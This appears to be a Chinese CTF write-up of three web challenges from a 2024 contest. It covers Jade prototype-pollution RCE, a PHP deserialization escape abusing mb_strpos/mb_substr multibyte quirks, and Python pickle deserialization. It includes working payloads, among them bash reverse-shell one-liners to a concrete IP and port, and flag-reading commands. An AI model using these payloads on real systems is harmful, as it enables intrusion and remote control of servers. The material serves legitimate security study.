首页 > 其他分享 >2024黄河流域WP

2024黄河流域WP

时间:2024-08-18 12:39:06浏览次数:10  
标签:9f% code val 字符 mb 黄河流域 2024 key WP

2024黄河流域

ezjade

代码很简单,主要是找到污染点在哪里,也就是可控参数在哪


app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
}

可以看到访问post路由时,会将a.name渲染进index.jade,时如果写入恶意代码,访问/post路由的时候会进行模版渲染此时将注入的代码被执行,导致RCE

跟进render函数,步入

image-20240503123818-cmwa73k

一直跟到compile

image-20240502134232-o35vsky

跟进visitcode函数

  visitCode: function(code){
    // Wrap code blocks with {}.
    // we only wrap unbuffered code blocks ATM
    // since they are usually flow control

    // Buffer code
    if (code.buffer) {
      var val = code.val.trim();
      val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
      if (code.escape) val = 'jade.escape(' + val + ')';
      this.bufferExpression(val);
    } else {
      this.buf.push(code.val);
    }

这里让code.buffer为false,就可以直接把code.val的值压入buf

但是报错plugin is not a function

加上"self":1

{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('calc')"}}
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"')"}}

image-20240502184832-f12rl5q

tao

<?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data) {
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}

class A {
    public $A;
    public $B = "HELLO";
    public $C = "!!!";

    public function __construct($A) {
        $this->A = $A;
    }

    public function __destruct() {
        $key = substrstr($this->B . "[welcome sdpcsec" . $this->C . "]");
        echo $key;
        eval($key);
    }
}

if (isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
} else {
    echo "nonono";
}
?>

mb_strpos与mb_substr

  • %9f使得增加逃逸出一个字符(mb_strpos特性)
  • %f0使得减少逃逸出三个字符(mb_substr特性)

具体测试代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end;
    return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;

先来看正常传参

image-20240514161929-sjhqqjl

可以看到是正常的把[]内的所有内容都截取到了

  • %9f使逃逸出一个字符(mb_strpos特性)

image-20240514161659-4hedrl5

可以看到mb_strpos竟然将%9f这个不可见字符也算进去了,而且还提前结束了一位

但是mb_substr是正常进行截取的,所以导致增加一个字符

我们利用%9f就可以使得[]里的16个字符全部逃逸,然后就可以任意构造我们想要的字符了(长度也得是16)

  1. %f0使逃逸出三个字符(mb_substr特性)

    \xf0开头的UTF-8字符应该是4位长度,并符合UTF-8的规则

image-20240514165012-96vde3v

可以看到mb_strpos正常识别不可见字符%f0,但是mb_substr将传进去的%f0abc四个字符当成了一个字符

所以我们把[welcome给吃掉的话需要8位,也就%f0abc%f0abc%f0%9fab

这里%f0abc将4字符当成1字符导致逃逸出3字符,%f0%9fab由于%9f是符合规则的所以这是把四个字符当成了两个字符导致逃逸出2字符

法一:纯%9f

image-20240818123030-vgkp6wt

image-20240512162159-dgkip1t


";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
87个,补上87个SDPCSEC
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}

法二:%9f结合%f0

pickle

pickle反序列化

用i指令反弹shell

import base64
import pickle
import pickletools

a = "gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

data=base64.b64decode(a)
print(pickletools.dis(data))
#\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.


b=b'''(S'bash -c "bash -i >& /dev/tcp/8.130.110.182/2333 0>&1"'
ios
system
.'''
print(base64.b64encode(b))
#KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMTAuMTgyLzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg==

新学到的,也可以报错带出

pickle反序列化,开启debug,用报错

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

标签:9f%,code,val,字符,mb,黄河流域,2024,key,WP
From: https://www.cnblogs.com/m1xian/p/18365491

相关文章

  • 2024.8.11至2024.8.17周总结
    本周学习任务清单1.字符串:Hash、KMP、trie树、拓展KMP(Z函数)、AC自动机、Manacher、回文自动机、后缀数组、后缀自动机、广义后缀自动机2.数论:欧拉函数、莫比乌斯函数、欧拉反演、莫比乌斯反演、筛法、杜教筛、min25筛3.博弈论:公平组合游戏、反常游戏、SG函数总结本周学习的......
  • 【OpenHarmony4.1 之 U-Boot 2024.07源码深度解析】019 - RK3568 Uboot 完整流程梳理
    【OpenHarmony4.1之U-Boot2024.07源码深度解析】019-RK3568Uboot完整流程梳理一、系统环境初始化:_start入口地址,初始化CPU环境二、系统环境初始化:_main入口,初始化堆栈,初始化gd全局环境变量,初始化CRuntime运行环境,开始执行board_init_f函数三、board_......
  • 2024暑假总结3
    前言因为现在我开始每天写随笔,所以总结里就不赘述每天的具体的内容和每天的小总结了,因为会给人一种重复感,所以我决定在总结中主要分析我认为非常有价值的地方。考试我认为考试能反映出一个人的很多问题。然后谈一谈8.11的考试。总体来说,题应该不算太难,T1是一个思考难度不大的......
  • 15个电脑录屏软件新鲜出炉!2024最新录屏排名榜看这里!
    电脑上面的录屏软件实在是太多啦,如果自己去挑选肯定非常耗费时间!今天俺就将目前市面上最主流的录屏软件,全部做一个总结和测评,排在前面的都是性能比较好滴,当然也有一些不错的免费录屏工具,总有一款适合你!-----分割线-----1.ApowerREC官网地址:https://www.apowersoft.cn/recor......
  • Python安装(2024)
                    在之前的笔记中,介绍了Python环境。    CSDN端:Python环境https://blog.csdn.net/m0_61009360/article/details/141216455        公众号端:Python环境https://mp.weixin.qq.com/s?__biz=MzkwMjc0MTE3Mw==&mid=2247483706&idx......
  • JetBrains Aqua 2024.2 (macOS, Linux, Windows) - 测试自动化 IDE
    JetBrainsAqua2024.2(macOS,Linux,Windows)-测试自动化IDEJetBrains跨平台开发者工具请访问原文链接:https://sysin.org/blog/jetbrains-aqua/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgAqua测试自动化IDE享受更高效的测试体验为什么选择Aqua......
  • JetBrains CLion 2024.2 (macOS, Linux, Windows) - C 和 C++ 跨平台 IDE
    JetBrainsCLion2024.2(macOS,Linux,Windows)-C和C++跨平台IDEJetBrains跨平台开发者工具请访问原文链接:https://sysin.org/blog/jetbrains-clion/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgJetBrainsCLion-C和C++跨平台IDE用于强大语言的......
  • 2024.8 #6
    T1.[AGC060F]SpanningTreesofIntervalGraph我们令\(S=\sumC_{i,j}\)。我们设两个矩阵\(B_{i,j}=[[L_i,R_i]\cap[L_j,R_j]]\)以及\(A_{i,i}=\sumB_{i,j}\)。那么根据矩阵树定理,我们知道生成树的数量就是\(\det(A-B)\)。然而直接高斯消元复杂度是\(O(S^3......
  • 2024年PDF编辑器免费版大赏,四款神器助你轻松编辑文档
    嘿,朋友们,咱们今天来聊聊个挺有用的事儿——PDF编辑器。现在这年头,PDF文件在工作学习中可少不了,但要改起东西来,有时候感觉像是在对付一块硬邦邦的铁板,挺费劲的。不过,别急,到了2024年,我找到了几款挺实用的PDF编辑器免费版,用它们编辑PDF文件,保证让你顺顺利利的。1.福昕PDF编辑高......
  • 2024.8.17
    DATE#:20240817ITEM#:DOCWEEK#:SATURDAYDAIL#:捌月拾肆TAGS <BGM="快哉风--黄金玉米王"><theme=oi-language><theme=oi-graphtheory><[空]><[空]>取次花丛懒回顾,半缘修道半缘君--元稹《离思五首·其四》[P4208[JSOI2008]最......